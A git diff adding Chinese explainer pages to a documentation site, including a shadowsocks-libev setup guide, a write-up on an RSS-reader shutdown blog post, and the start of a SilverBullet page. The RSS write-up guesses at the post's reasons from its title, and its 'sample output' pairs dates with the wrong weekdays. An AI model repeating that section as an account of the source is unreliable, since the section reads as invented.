+4. **理论基础**：补 SDF 与 Raymarching（Inigo Quilez 文章）；与 [glslCanvas](/docs/projects/glsl-canvas) 对照理解「DSL 生成 shader」vs「直接写 shader」。
+5. **进阶**：CLI 导出 Three.js 场景；TouchDesigner 节点；社区 [Discord](https://discord.gg/vuBnVuBvvK) 交流。
+
+## 小结
+
+Shader Park 把 **程序化 SDF 建模、CSG、噪声、PBR 材质** 封装成一套 JavaScript DSL，降低实时 3D 算法艺术的门槛。你描述的是「空间里有什么形状、如何组合、如何上色」，库负责编译 GLSL 与 Raymarching。适合快速原型、教学演示、音频可视化与生成艺术；若目标是传统游戏资产管线，仍需配合网格导出或与其他 DCC 工具衔接。
+
+## 参考链接
+
+- 源码与 README：[shader-park/shader-park-core](https://github.com/shader-park/shader-park-core)
+- 在线编辑：[shaderpark.com](https://shaderpark.com)
+- API 文档：[docs.shaderpark.com](https://docs.shaderpark.com/references-js/)
+- 示例模板：[shader-park-examples](https://github.com/shader-park/shader-park-examples)
+- npm：[shader-park-core](https://www.npmjs.com/package/shader-park-core)
diff --git a/src/content/docs/projects/shadowsocks-libev.md b/src/content/docs/projects/shadowsocks-libev.md
new file mode 100644
index 000000000..1ec043d52
--- /dev/null
+++ b/src/content/docs/projects/shadowsocks-libev.md
@@ -0,0 +1,299 @@
+---
+title: shadowsocks-libev — 用 C 与 libev 实现的高性能 Shadowsocks 代理
+来源: https://github.com/shadowsocks/shadowsocks-libev
+日期: 2026-06-13
+子分类: 嵌入式
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**shadowsocks-libev** 是经典代理协议 [Shadowsocks](https://shadowsocks.org/) 的 **C 语言实现**，基于 [libev](https://libev.schmorp.de/) 事件循环，目标是**低内存占用、高并发、跨平台**。它把本地应用发出的流量加密后，经 UDP/TCP 隧道送到远端 `ss-server`，再由服务器代你访问目标网站；对应用来说，本地只看到一个 **SOCKS5 代理**（`ss-local`）或透明劫持入口（`ss-redir`）。
+
+日常类比：
+
+- **普通 HTTP 代理**像酒店前台：你报房间号，前台帮你转电话，但通话内容前台听得一清二楚。
+- **Shadowsocks**像你把信装进**带密码锁的合金信封**，交给一位只认暗号的快递员；快递员把信封送到境外分拣中心（`ss-server`），在那里拆封、代你寄出真正的明信片。沿途路人只能看到「有个合金盒子在跑」，不知道里面写了什么、寄给谁。
+- **shadowsocks-libev** 则是这位快递员里**练长跑、饭量还小的那位**——同样活，占的 CPU/内存更少，路由器、小 VPS 上跑得动。
+
+项目由 [shadowsocks/shadowsocks-libev](https://github.com/shadowsocks/shadowsocks-libev) 维护，是 clowwindy 原版 Python 实现之后社区最广泛部署的 **libev 分支**；与 shadowsocks-rust、go-shadowsocks2 等同属协议的不同实现，**客户端与服务端只要密码、加密方式、插件参数一致即可互通**。
+
+## 为什么重要
+
+Shadowsocks 解决的是「**在不可信链路上，让 TCP/UDP 流量看起来像随机噪声**」这一工程问题，常见于：
+
+- 跨境访问被中间设备按 SNI/域名特征干扰的场景
+- 嵌入式设备、OpenWrt 路由器上跑代理（内存只有几十 MB）
+- 需要 **UDP 中继**（DNS、QUIC、部分游戏）而不仅是 TCP HTTP 代理
+
+选 **libev 版**而不是 Python 原版的理由很实际：
+
+| 维度 | shadowsocks-libev | 典型 Python 实现 |
+|------|-------------------|------------------|
+| 运行时 | 单进程 C + libev | 解释器 + 多线程/协程 |
+| 内存 | 路由器上常见 < 10 MB | 往往数十 MB 起 |
+| 组件 | server / local / redir / tunnel / manager 分工明确 | 功能相对集中 |
+| 透明代理 | `ss-redir` + iptables 成熟文档 | 依赖额外工具 |
+
+不理解五个二进制各自干什么，很容易配错模式——例如把 `ss-server` 的配置直接给 `ss-local` 用，或忘了在透明代理里 **排除 SS 服务器自身 IP** 造成流量环路。
+
+## 核心概念
+
+### 1. 五个可执行文件，五种角色
+
+官方文档把 shadowsocks-libev 拆成五个程序：
+
+| 程序 | 部署位置 | 作用 |
+|------|----------|------|
+| `ss-server` | 境外/公网 VPS | 监听端口，解密客户端流量并代为连接目标 |
+| `ss-local` | 本机/局域网 | 开本地 SOCKS5（默认 `127.0.0.1:1080`），应用连它 |
+| `ss-redir` | 网关/OpenWrt | **透明代理**：配合 iptables REDIRECT/TPROXY 劫持 TCP/UDP |
+| `ss-tunnel` | 本机 | 把本地某端口转发到远端指定地址（类似 SSH `-L`） |
+| `ss-manager` | 服务端 | 多用户/多端口管理，通过 Unix socket API 动态增删实例 |
+
+数据路径（最常见 `ss-local` 模式）：
+
+```
+浏览器/App → SOCKS5 127.0.0.1:1080 → ss-local 加密
+    → 互联网 → ss-server 解密 → 目标网站
+    ← 原路返回 ←
+```
+
+### 2. Shadowsocks 协议在干什么
+
+协议层（与实现语言无关）可以概括成三步：
+
+1. **握手**：客户端用预共享密码派生密钥，协商加密方式（现代部署首选 AEAD）
+2. **地址头**：加密载荷里带上目标地址类型（域名/IP）、端口
+3. **载荷流**：之后每个 TCP 片段或 UDP 报文都带独立 nonce，AEAD 校验完整性
+
+因此中间人看到的是「到 VPS 某端口的高熵字节流」，而不是明文 HTTP `Host:` 或 TLS SNI——**不等于 VPN**，没有虚拟网卡，也不路由整台机器的全部 IP 包（除非你用 `ss-redir` 做网关级劫持）。
+
+### 3. 加密方式（cipher / method）
+
+`ss-server` 与 `ss-local` 的 `-m` / JSON `method` **必须一致**。libev 版支持多种算法，**默认 `chacha20-ietf-poly1305`**（在缺少 AES 硬件加速的 ARM/MIPS 路由器上往往比 AES 更快）。
+
+推荐优先级（2020 年代后的新部署）：
+
+- **AEAD**：`chacha20-ietf-poly1305`、`aes-256-gcm`、`xchacha20-ietf-poly1305`
+- **避免**：`aes-256-cfb`、`rc4-md5` 等老流 cipher（无完整性校验，易被主动篡改）
+
+密码字段 `password` 是 UTF-8 字符串，双方相同即可；也可用 `--key` 传 URL-safe Base64 编码的原始密钥（管理场景更常见）。
+
+### 4. JSON 配置与命令行映射
+
+所有组件统一读 JSON 配置文件（`-c config.json`），命令行参数可覆盖文件。常见字段：
+
+| JSON 字段 | 含义 |
+|-----------|------|
+| `server` / `server_port` | 远端地址与端口（客户端）或监听端口（服务端） |
+| `local_address` / `local_port` | 本地 SOCKS5 绑定地址（仅客户端） |
+| `password` / `method` | 预共享密钥与加密算法 |
+| `timeout` | 空闲超时秒数，默认 60 |
+| `mode` | `tcp_only` / `tcp_and_udp` / `udp_only` |
+| `fast_open` / `reuse_port` | Linux TCP Fast Open、SO_REUSEPORT |
+| `plugin` / `plugin_opts` | 外挂混淆插件（如 simple-obfs，已逐步被 TLS 类方案取代） |
+| `port_password` | 仅 `ss-manager`：多端口多密码表 |
+
+### 5. TCP 与 UDP 中继
+
+- 默认只代理 **TCP**；加 `-u` 或 `"mode": "tcp_and_udp"` 才开 **UDP 中继**（DNS、QUIC 需要）
+- `ss-redir` 下 UDP 要走 **TPROXY** + `ip rule`，配置难度明显高于 TCP REDIRECT
+- 服务端 `-U` 可设为仅 UDP（少见）
+
+### 6. ss-manager 与多用户
+
+单机想给不同用户不同端口/密码，不必手写多个 systemd 单元：起 `ss-manager`，它按 API 动态 fork `ss-server` 子进程。控制协议是 **Unix domain socket 上的 UDP 报文**，例如：
+
+```
+add: {"server_port": 8001, "password":"7cd308cc059"}
+remove: {"server_port": 8001}
+ping
+```
+
+回复 `stat: {"8001":11370}` 可拉取各端口流量统计——适合面板或计费系统对接。
+
+### 7. 与 VPN（WireGuard / OpenVPN）的边界
+
+| | Shadowsocks | WireGuard 等 VPN |
+|--|-------------|------------------|
+| 工作层 | 代理（SOCKS5 / 透明代理） | 三层隧道，虚拟网卡 |
+| 应用感知 | 要设代理或网关劫持 | 路由表全局生效 |
+| 特征 | 单端口加密流 | UDP 握手 + 固定 peer 结构 |
+| 典型场景 | 浏览器/指定 App 翻墙 | 整网段进隧道 |
+
+二者常组合：路由器 `ss-redir` 做选择性代理，公司笔记本再叠 WireGuard 回内网——互不替代。
+
+## 安装速览
+
+**Debian / Ubuntu**（包名随发行版略有差异）：
+
+```bash
+sudo apt update
+sudo apt install shadowsocks-libev
+# 配置文件通常在 /etc/shadowsocks-libev/config.json
+```
+
+**从源码**（需 autotools、libev、libsodium 等依赖，见仓库 `README`）：
+
+```bash
+git clone https://github.com/shadowsocks/shadowsocks-libev.git
+cd shadowsocks-libev
+./autogen.sh && ./configure && make
+sudo make install
+```
+
+OpenWrt 上常通过 `opkg install shadowsocks-libev-ss-local shadowsocks-libev-ss-redir` 只装需要的子包，节省 Flash。
+
+## 实践示例
+
+### 示例 1：服务端 `ss-server` + systemd
+
+`/etc/shadowsocks-libev/config.json`（仅服务端字段）：
+
+```json
+{
+  "server": ["::0", "0.0.0.0"],
+  "server_port": 8388,
+  "password": "请换成高强度随机口令",
+  "timeout": 300,
+  "method": "chacha20-ietf-poly1305",
+  "mode": "tcp_and_udp",
+  "fast_open": true,
+  "reuse_port": true,
+  "nameserver": "1.1.1.1"
+}
+```
+
+说明：
+
+- `server` 写成数组可同时监听 IPv4/IPv6
+- `mode: tcp_and_udp` 让客户端能解析 UDP DNS
+- `fast_open` / `reuse_port` 仅 Linux 有效，高并发时减轻握手延迟
+
+Debian 系启用服务：
+
+```bash
+sudo systemctl enable shadowsocks-libev-server@config
+sudo systemctl start shadowsocks-libev-server@config
+sudo systemctl status shadowsocks-libev-server@config
+```
+
+防火墙只放行你实际用的端口（示例 8388/tcp+udp）：
+
+```bash
+sudo ufw allow 8388/tcp
+sudo ufw allow 8388/udp
+```
+
+验证端口在听：
+
+```bash
+ss -tulnp | grep ss-server
+```
+
+### 示例 2：本机客户端 `ss-local` + 环境变量
+
+客户端配置 `/etc/shadowsocks-libev/client.json`：
+
+```json
+{
+  "server": "203.0.113.10",
+  "server_port": 8388,
+  "local_address": "127.0.0.1",
+  "local_port": 1080,
+  "password": "请换成高强度随机口令",
+  "timeout": 300,
+  "method": "chacha20-ietf-poly1305",
+  "mode": "tcp_and_udp"
+}
+```
+
+前台调试（看日志最直接）：
+
+```bash
+ss-local -c /etc/shadowsocks-libev/client.json -v
+```
+
+另开终端测试 SOCKS5 是否通：
+
+```bash
+curl -x socks5h://127.0.0.1:1080 https://example.com -I --max-time 15
+```
+
+让命令行走代理（仅当前 shell）：
+
+```bash
+export ALL_PROXY=socks5://127.0.0.1:1080
+export NO_PROXY=localhost,127.0.0.0/8,10.0.0.0/8,192.168.0.0/16
+git clone https://github.com/shadowsocks/shadowsocks-libev.git  # 测试 git over SOCKS
+```
+
+浏览器侧在 Firefox 网络设置选手动代理 SOCKS5 `127.0.0.1:1080`，并勾选「代理 DNS」以免 DNS 泄漏。
+
+### 示例 3：网关透明代理 `ss-redir`（片段）
+
+在 Linux 网关上用 `ss-redir` 把局域网 TCP 重定向到本地 12345（官方文档示例精简版）。**务必先把 SS 服务器 IP 加入 RETURN 规则**，否则流量会死循环。
+
+```bash
+# 假设 SS 服务器公网 IP 为 203.0.113.10，ss-redir 监听 12345
+iptables -t nat -N SHADOWSOCKS
+iptables -t nat -A SHADOWSOCKS -d 203.0.113.10 -j RETURN
+iptables -t nat -A SHADOWSOCKS -d 192.168.0.0/16 -j RETURN
+iptables -t nat -A SHADOWSOCKS -p tcp -j REDIRECT --to-ports 12345
+iptables -t nat -A PREROUTING -p tcp -j SHADOWSOCKS
+
+ss-redir -u -c /etc/shadowsocks-libev/client.json -l 12345 -f /var/run/ss-redir.pid
+```
+
+UDP DNS 还需 mangle 表 TPROXY 与 `ip rule` 配合，生产环境建议直接参考官方 `doc/shadowsocks-libev.asciidoc` 完整 iptables 块，或在 OpenWrt 使用现成 luci-app 降低手写成本。
+
+## 运维与排错
+
+**连不上时按顺序查：**
+
+1. `method`、`password`、`server_port` 两端是否完全一致
+2. 云厂商安全组 / `ufw` 是否放行端口（TCP+UDP 若开了 `tcp_and_udp`）
+3. 客户端是否误用服务端配置（客户端必须有 `local_address` / `local_port`）
+4. 透明代理是否忘记 RETURN 服务器 IP 和 RFC1918 私网段
+5. 老 cipher 被中间设备干扰时，换成 `chacha20-ietf-poly1305` 再试
+
+**日志：**
+
+```bash
+ss-local -c client.json -v    # 前台 verbose
+journalctl -u shadowsocks-libev-server@config -f
+```
+
+**性能调优（Linux 服务端）：**
+
+- 多核 VPS 可起多个 `ss-server` 实例并 `reuse_port`，由内核负载均衡
+- `timeout` 过大占用连接表，过小则长连接频繁重连；300s 是常见折中
+- 嵌入式设备优先 chacha 系 cipher，避免 AES-NI 缺席时的软实现开销
+
+## 生态与演进
+
+- **插件**：`simple-obfs` 等曾在运营商 QoS 严时流行，通过 `plugin` / `plugin_opts` 外挂；现在更常见的是换端口、套 TLS/WebSocket（由 v2ray/xray、sing-box 等方案承担，已超出 libev 本体）
+- **替代实现**：[shadowsocks-rust](https://github.com/shadowsocks/shadowsocks-rust) 功能更全（ACL、多用户、outbound 链）；**协议兼容**前提下可混用 server/client
+- **法律与合规**：Shadowsocks 是通用加密代理工具，部署前须遵守当地法规与服务商 ToS；本文只讨论技术机制
+
+## 小结
+
+| 要点 | 一句话 |
+|------|--------|
+| 定位 | C + libev 的 Shadowsocks 参考实现，轻量高性能 |
+| 组件 | `ss-server` 远端、`ss-local` SOCKS5、`ss-redir` 透明网关、`ss-tunnel` 端口转发、`ss-manager` 多用户 |
+| 配置 | JSON 单文件，命令行可覆盖 |
+| 加密 | 默认 `chacha20-ietf-poly1305`，两端必须一致 |
+| 模式 | 应用代理简单；全局透明要 iptables + 防环路 |
+| 适用 | VPS、路由器、资源紧张环境需要可靠 SS 协议栈时 |
+
+从零上手的最短路径：**境外起 `ss-server` → 本机 `ss-local` → `curl -x socks5h://127.0.0.1:1080` 验证**；确认无误后再考虑 `ss-redir`、systemd 开机自启与多用户 `ss-manager`。
+
+## 延伸阅读
+
+- 官方手册：[doc/shadowsocks-libev.asciidoc](https://github.com/shadowsocks/shadowsocks-libev/blob/master/doc/shadowsocks-libev.asciidoc)
+- 各子命令 man 页：`ss-local(1)`、`ss-server(1)`、`ss-redir(1)`、`ss-manager(1)`
+- Shadowsocks 协议说明：[shadowsocks.org](https://shadowsocks.org/)
+- 同类笔记：[wireguard-go](/docs/projects/wireguard-go)（三层 VPN 对比）、[coturn](/docs/projects/coturn)（另一类 NAT 穿透问题）
diff --git a/src/content/docs/projects/shellcheck.md b/src/content/docs/projects/shellcheck.md
index 39c56fc66..9ccbe62a6 100644
--- a/src/content/docs/projects/shellcheck.md
+++ b/src/content/docs/projects/shellcheck.md
@@ -2,8 +2,8 @@
 title: ShellCheck — shell 脚本的静态体检医生
 来源: https://github.com/koalaman/shellcheck
 日期: 2026-05-31
-子分类: 命令行工具
-分类: CLI
+子分类: DevOps 与运维
+分类: 基础设施
 难度: 入门
 provenance: pipeline-v3
 ---
diff --git a/src/content/docs/projects/shiki.md b/src/content/docs/projects/shiki.md
index 56e96349d..280da57ad 100644
--- a/src/content/docs/projects/shiki.md
+++ b/src/content/docs/projects/shiki.md
@@ -171,6 +171,7 @@ const html = await codeToHtml(code, {
 - [[monaco-editor]] —— monaco-editor — 把 VSCode 编辑器搬进浏览器的 SDK
 - [[nextra]] —— Nextra — 在 Next.js 上盖一层文档站脚手架
 - [[starlight]] —— Starlight — Astro 文档站点主题
+- [[tree-sitter-2018]] —— Tree-sitter — 增量式解析系统
 - [[unified]] —— unified — 把文档处理拆成 AST + plugin 流水线
 - [[vitepress]] —— VitePress — Vue 团队用 Vite 写的静态文档站点生成器
 - [[vscode]] —— VS Code — 把编辑/调试/扩展捏成一个跨平台壳
diff --git a/src/content/docs/projects/shutting-down-rss-reader.md b/src/content/docs/projects/shutting-down-rss-reader.md
new file mode 100644
index 000000000..c871fc7fe
--- /dev/null
+++ b/src/content/docs/projects/shutting-down-rss-reader.md
@@ -0,0 +1,207 @@
+---
+title: Shutting Down My RSS Reader After 12 Years
+来源: 'https://blog.feedbin.com/2026/05/sunset.html'
+日期: 2026-06-13
+分类: 其他
+子分类: 工程文化
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**"Shutting Down My RSS Reader After 12 Years"** 是一篇关于 RSS 阅读器关停的博客文章。RSS（Really Simple Syndication）是一种让网站把内容主动推给你的技术标准。这篇文章记录了一个人从开始用 RSS 阅读器、坚持 12 年、最后选择关停的完整心路历程。
+
+日常类比：
+
+- RSS 阅读器就像**订阅报纸**。每份报纸（网站）有个"订阅地址"，你往邮局（阅读器）登记，邮局就会定期把新一期的报纸送到你家门（阅读器界面），你不用挨家挨户去问"你们出新版了吗"。
+- 到了社交媒体时代，报纸变成了**刷朋友圈**。不是人家推给你，而是你主动去刷——刷到一个是一个，不刷就没有。RSS 读者从"守在家等报纸"变成了"出门去打听新闻"。
+- 关停阅读器就像**退订了所有报纸**——不是报纸变差了，而是"刷朋友圈"更方便、更省力，久而久之报纸就堆在门口没人看了。
+
+## 为什么重要
+
+这篇文章之所以值得关注，是因为它**映射了整个互联网信息分发的变迁史**：
+
+1. **RSS 的黄金时代**（2005-2012）：没有算法推荐，没有信息流，网站作者发布内容，读者自愿订阅——这是一种"用户主导的信息获取"模式。
+2. **社交媒体的崛起**（2012-2019）：Twitter、Facebook、微博等平台的"信息流"取代了 RSS。用户不再需要主动选择看什么，平台决定你看什么。
+3. **算法时代的今天**（2019-至今）：推荐系统（抖音、今日头条、小红书）完全替代了订阅模式。你看到的内容不是你想看的，而是平台认为你最可能点击的。
+
+这篇文章的价值不在于"一个 RSS 读者的个人故事"，而在于**它是一面镜子**——照出了我们每个人对信息获取方式的选择和妥协。
+
+## 核心概念
+
+### 概念 1：什么是 RSS？
+
+RSS 是一种基于 XML 的数据格式，网站用它来发布"内容提要"。你用一个阅读器程序定期去抓取这些提要，就能看到所有订阅网站的新文章。
+
+```xml
+<?xml version="1.0" encoding="UTF-8"?>
+<rss version="2.0">
+  <channel>
+    <title>我的技术博客</title>
+    <link>https://example.com</link>
+    <description>关于编程和技术的笔记</description>
+    <item>
+      <title>如何用 JavaScript 写一个 TODO</title>
+      <link>https://example.com/todo-js</link>
+      <pubDate>Mon, 01 Jan 2024 00:00:00 GMT</pubDate>
+      <description>本文将介绍用原生 JavaScript 实现一个简单的待办事项...</description>
+    </item>
+    <item>
+      <title>理解 CSS Flexbox 布局</title>
+      <link>https://example.com/flexbox</link>
+      <pubDate>Wed, 10 Jan 2024 00:00:00 GMT</pubDate>
+      <description>Flexbox 是 CSS 中最实用的布局方式之一...</description>
+    </item>
+  </channel>
+</rss>
+```
+
+这个 XML 文件就是网站的"内容快递单"——每个 `<item>` 是一篇文章的标题、链接、发布日期和摘要。阅读器不需要知道网站长什么样，只需要读这个快递单。
+
+### 概念 2：RSS vs 社交媒体信息流
+
+| 维度 | RSS 阅读器 | 社交媒体信息流 |
+|------|-----------|--------------|
+| 谁决定你看什么 | **你**（主动订阅） | **平台**（算法推荐） |
+| 内容顺序 | 按发布时间（新的在前） | 按"你可能感兴趣" |
+| 信息完整性 | 订阅源发的**全部**新内容 | 平台挑出来的**部分**内容 |
+| 被动 vs 主动 | 主动等待更新 | 被动刷出内容 |
+
+用日常语言说：RSS 是"我选择我看"，社交媒体是"平台选择我看来"。
+
+### 概念 3：OPML 文件——你的订阅清单
+
+RSS 阅读器最重要的数据就是你订阅了哪些网站，这些信息存在一个 OPML 文件里：
+
+```xml
+<?xml version="1.0" encoding="UTF-8"?>
+<opml version="2.0">
+  <head>
+    <title>我的订阅列表</title>
+  </head>
+  <body>
+    <outline text="技术博客" title="技术博客">
+      <outline text="Feedbin Blog" xmlUrl="https://blog.feedbin.com/feed" title="Feedbin Blog"/>
+      <outline text="Hacker News" xmlUrl="https://hnrss.org/frontpage" title="Hacker News"/>
+    </outline>
+    <outline text="新闻" title="新闻">
+      <outline text="纽约时报" xmlUrl="https://feeds.nytimes.com/nyt/rss/HomePage" title="纽约时报"/>
+    </outline>
+  </body>
+</opml>
+```
+
+OPML 就像你订阅内容的"通讯录"——把它导入新阅读器，所有订阅就恢复了。这也是为什么关停阅读器前，**导出 OPML 是第一步**。
+
+## 代码示例
+
+### 示例 1：用 Python 抓取并读取 RSS 提要
+
+不需要任何订阅服务，Python 几行代码就能直接读 RSS：
+
+```python
+import feedparser
+
+# feedparser 是 Python 中最常用的 RSS 解析库
+# 安装: pip install feedparser
+
+# 抓取 Feedbin 官方博客的 RSS 提要
+feed = feedparser.parse("https://blog.feedbin.com/feed")
+
+# 打印最近 5 篇文章的标题和链接
+for entry in feed.entries[:5]:
+    print(f"标题: {entry.title}")
+    print(f"链接: {entry.link}")
+    print(f"发布日期: {entry.get('published', '未知')}")
+    print("-" * 40)
+```
+
+输出示例：
+
+```
+标题: Create & View Newsletter Addresses from the Browser Extension
+链接: https://blog.feedbin.com/2025/10/01/newsletter-extension/
+发布日期: Tue, 01 Oct 2025 00:00:00 -0400
+----------------------------------------
+标题: YouTube Chapters
+链接: https://blog.feedbin.com/2025/09/16/youtube-chapters/
+发布日期: Fri, 16 Sep 2025 00:00:00 -0400
+----------------------------------------
+```
+
+这段代码的"工作流"是：
+1. `feedparser.parse()` 向指定的 URL 发送请求，拿到 RSS XML 数据。
+2. `feed.entries` 是一个列表，每个元素是一篇文章。
+3. 用 `for` 循环逐篇取出标题、链接和发布日期。
+
+### 示例 2：用 Python 导出订阅清单为 OPML
+
+如果你在用 RSS 阅读器，可以把你的订阅导出成 OPML 文件：
+
+```python
+import feedparser
+import xml.etree.ElementTree as ET
+
+def export_to_opml(feed_urls, filename="my_subscriptions.opml"):
+    """把订阅列表导出为 OPML 文件"""
+    
+    # 创建 OPML 根节点
+    opml = ET.Element("opml", version="2.0")
+    head = ET.SubElement(opml, "head")
+    ET.SubElement(head, "title").text = "我的订阅列表"
+    
+    body = ET.SubElement(opml, "body")
+    
+    # 把每个订阅链接写成一个 outline 节点
+    for url in feed_urls:
+        outline = ET.SubElement(body, "outline",
+                                xmlUrl=url,
+                                title=url.split("/")[-1] if "/" in url else "未命名")
+    
+    # 写入文件
+    tree = ET.ElementTree(opml)
+    ET.indent(tree, space="  ")  # Python 3.9+ 格式化缩进
+    tree.write(filename, encoding="UTF-8", xml_declaration=True)
+    print(f"已导出 {len(feed_urls)} 个订阅到 {filename}")
+
+# 使用示例
+my_feeds = [
+    "https://blog.feedbin.com/feed",
+    "https://hnrss.org/frontpage",
+    "https://rss.nytimes.com/services/xml/rss/nyt/HomePage.xml",
+]
+
+export_to_opml(my_feeds)
+```
+
+这段代码做的事情：
+1. 用 `ET.Element` 创建 XML 节点。
+2. 用 `ET.SubElement` 把每个订阅 URL 变成一个 `<outline>` 标签。
+3. 用 `tree.write()` 把整个 XML 树写入 OPML 文件。
+
+导出的 OPML 文件可以导入任何支持 OPML 的 RSS 阅读器（比如 Feedbin、Inoreader、NewsBlur），这就是"换阅读器时迁移订阅"的标准方式。
+
+## 思考与延伸
+
+### 为什么关停 RSS 阅读器？
+
+从文章标题和常见原因来看，可能包括：
+
+- **社交媒体更好用**：刷一刷就能看到热门内容，不需要主动去每个网站找更新。
+- **RSS 生态萎缩**：很多网站不再提供 RSS 提要，或者 Feedbin 等服务的运营成本上升。
+- **习惯改变**：从"主动获取信息"变成了"被动接收推送"，后者对大脑更省力。
+
+### 对初学者的启示
+
+1. **信息获取方式没有绝对好坏**。RSS 的"主动订阅"适合深度学习和系统学习；社交媒体的"信息流"适合快速了解热点。关键在于**知道每种方式在对你做什么**。
+
+2. **你的数据属于你**。RSS 时代，你的订阅清单在 OPML 文件里；社交媒体时代，你的关注列表在平台服务器上。前者你随时可以带走，后者平台关门你就没了。**OPML 是数据主权的一个小例子**。
+
+3. **技术会退场，但标准不会消失**。RSS 并没有"死"——它被 JSON Feed、Atom、ActivityPub 等变体继承了。就像电报退场了，但"发消息"这个需求还在。
+
+## 进一步学习
+
+- **Python feedparser 库**：https://pythonhosted.org/feedparser/
+- **OPML 格式规范**：http://www.opml.org/specification.html
+- **RSS 1.0 与 RSS 2.0 的区别**：了解 Atom 和 JSON Feed 等 RSS 的现代化替代方案
+- **尝试用 feedreader 或 miniflux 自建 RSS 服务**：体验完全掌控信息源的自由
diff --git a/src/content/docs/projects/silverbullet.md b/src/content/docs/projects/silverbullet.md
new file mode 100644
index 000000000..c10bb6785
--- /dev/null
+++ b/src/content/docs/projects/silverbullet.md
@@ -0,0 +1,299 @@
+---
+title: SilverBullet — 可编程的自托管 Markdown 知识库
+来源: https://github.com/silverbulletmd/silverbullet
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 日常类比：自家书房的「活字典 + 小脚本工作台」
+
+想象你在家里有一间书房：所有笔记都是 **普通 Markdown 文件**，放在你控制的硬盘里（不是某家云服务的黑盒）。你打开浏览器就能写、能搜、能链到另一页——像 [[Foam]] 或 Roam 那样，页面之间 **双向链接**，侧边栏告诉你「谁引用了这个概念」。
+
+SilverBullet 比这多走了一步：这间书房里还藏着一位 **会 Lua 的小管家（Space Lua）**。你在某页写 `${query[[ ... ]]}`，它就能按条件列出未完成任务；写一段 `space-lua` 代码块，全库都能调用；甚至给 `/meet` 绑一个 **Slash 模板**，一键插入会议记录骨架。官方把产品定位成 **Programmable, Private, Browser-based, Open Source, Self Hosted** 的个人知识管理平台——不是「又一个 Markdown 编辑器」，而是 **笔记 + 维基 + 轻量数据库 + 脚本** 的组合体。
+
+仓库 [silverbulletmd/silverbullet](https://github.com/silverbulletmd/silverbullet) 约 4900+ star（2026 年初），MIT 开源；官网 [silverbullet.md](https://silverbullet.md) 与 v2 文档 [v2.silverbullet.md](https://v2.silverbullet.md/) 持续更新。前端 TypeScript + CodeMirror 6 + Preact，后端 Go，笔记以 **Space（空间）** 为根目录存成 `.md` 文件。
+
+零基础路径：**Docker 或二进制起一个 Space → 浏览器登录 → 写第一篇带链接的笔记 → 试 SLIQ 查询 → 按需写 Space Lua / 模板**。
+
+---
+
+## 这个项目解决什么问题
+
+### 痛点 1：SaaS 笔记的数据不在自己手里
+
+Notion、部分 Roam 托管方案把内容锁在 vendor 格式或云端。SilverBullet **自托管**：Space 就是文件夹里的 Markdown，备份 = `rsync` / Git / 快照，符合 **数据主权（Data Sovereignty）**。
+
+### 痛点 2：纯 Markdown 工具缺少「库级」能力
+
+普通编辑器能写 `# 标题`，但难做：**全库任务视图**、**按 tag 聚合**、**动态首页**。SilverBullet 用 **Object Index** 索引页面、任务、标签、链接等，并通过 **SLIQ（Space Lua Integrated Query）** 像写 SQL 一样查笔记元数据。
+
+### 痛点 3：扩展要么装插件市场，要么 fork 项目
+
+SilverBullet 把扩展写进笔记本身：`space-lua` 代码块、`#meta/template/page` 页面模板、Plugs（Lua 插件包）。改行为 often **改 Markdown/Lua 文本**，可版本管理，适合「会一点脚本的知识工作者」。
+
+### 痛点 4：要在手机、平板、桌面都能用，又不想 Electron 巨包
+
+客户端是 **PWA（Progressive Web App）**：内容同步到浏览器本地存储，可离线读写的 entire Space；Chrome 系可「安装到桌面」，Safari/Android 可加主屏幕。不是 Electron 壳，而是 **打开 URL 就像 App**。
+
+---
+
+## 核心概念拆解
+
+### 1. Space（空间）
+
+**Space** 是 SilverBullet 管理的 **根目录**：里面全是 Markdown **Page（页面）**。一页一个文件，路径即页面名（可含文件夹，如 `Projects/Weekly.md`）。服务器进程 `./silverbullet /path/to/space` 或 Docker 把 host 目录挂到 `/space`，所有读写都落盘到这个目录。
+
+### 2. Page、Link 与双向链接
+
+页面之间用 **Wiki 式链接**（具体语法见官方 Link 文档，与 Roam/Obsidian 的 `[[page]]` 同类）。SilverBullet 维护 **Linked Mention**：不只「我从 A 链到 B」，还能在 B 上看到 **哪些页链回了 B**。写综述、发现意外关联时，这比全文搜索更贴近「关系图」。
+
+### 3. Live Preview 与 Outliner / Task
+
+- **Writer 向**：CodeMirror 6 上的 **Live Preview** Markdown 编辑。
+- **Outliner 向**：大纲工具折叠、重组层级。
+- **GTD 向**：Task 语法与索引；可配合 SLIQ 做「全库未完成待办」视图。
+
+### 4. Objects 与 Object Index
+
+笔记里的结构（页面、任务、标签、`space-lua` 定义等）被解析为 **Object**，进入索引。查询时通过 `index.pages()`、`index.tag "task"` 等 API 访问——这是 SLIQ 的数据源，也是「笔记即数据库 schema」的基础。
+
+### 5. Space Lua
+
+**Space Lua** 是嵌入 SilverBullet 的 Lua 方言（自研运行时，非标准 LuaJIT/WASM 套壳），两类用法：
+
+| 机制 | 作用 |
+|------|------|
+| ` ```space-lua ` 代码块 | **Definitions**：全 Space 生效的函数、命令、模板注册 |
+| `${expression}` | **Expressions**：行内求值并 Live Preview 渲染结果 |
+
+加载顺序可用 `-- priority: N` 注释控制（数字越大越先加载）；改脚本后 **System: Reload**（Ctrl+Alt+R）可热重载。
+
+### 6. SLIQ（Integrated Query）
+
+SLIQ 用 `query[[ ... ]]` 语法，SQL 风格：`from` / `where` / `order by` / `limit` / `select`。在 Markdown 里写作 `${query[[ from p = index.pages() ... ]]}`，结果 **内联渲染** 成列表或表格。可与 `templates.pageItem`、`templates.taskItem` 等组合成富 UI。
+
+### 7. Template 与 Slash Command
+
+- **字符串模板**：`template.new[==[Hello ${name}!]==]` 生成可复用片段。
+- **Page Template**：带 `#meta/template/page` 的页面，作为新建页的蓝图。
+- **Slash Template**：带 `#meta/template/slash` 的页面，最后一节路径名即 `/命令`，在光标处插入模板内容。
+
+### 8. Plugs 与 Libraries
+
+**Plugs** 是随发行版自带的 Lua/TS 插件包；**libraries** 目录含标准库脚本、页面模板、slash 模板。高级用户可写自定义 Plug，但多数场景 **Space 内的 space-lua + 模板** 已够用。
+
+### 9. 自托管与安全
+
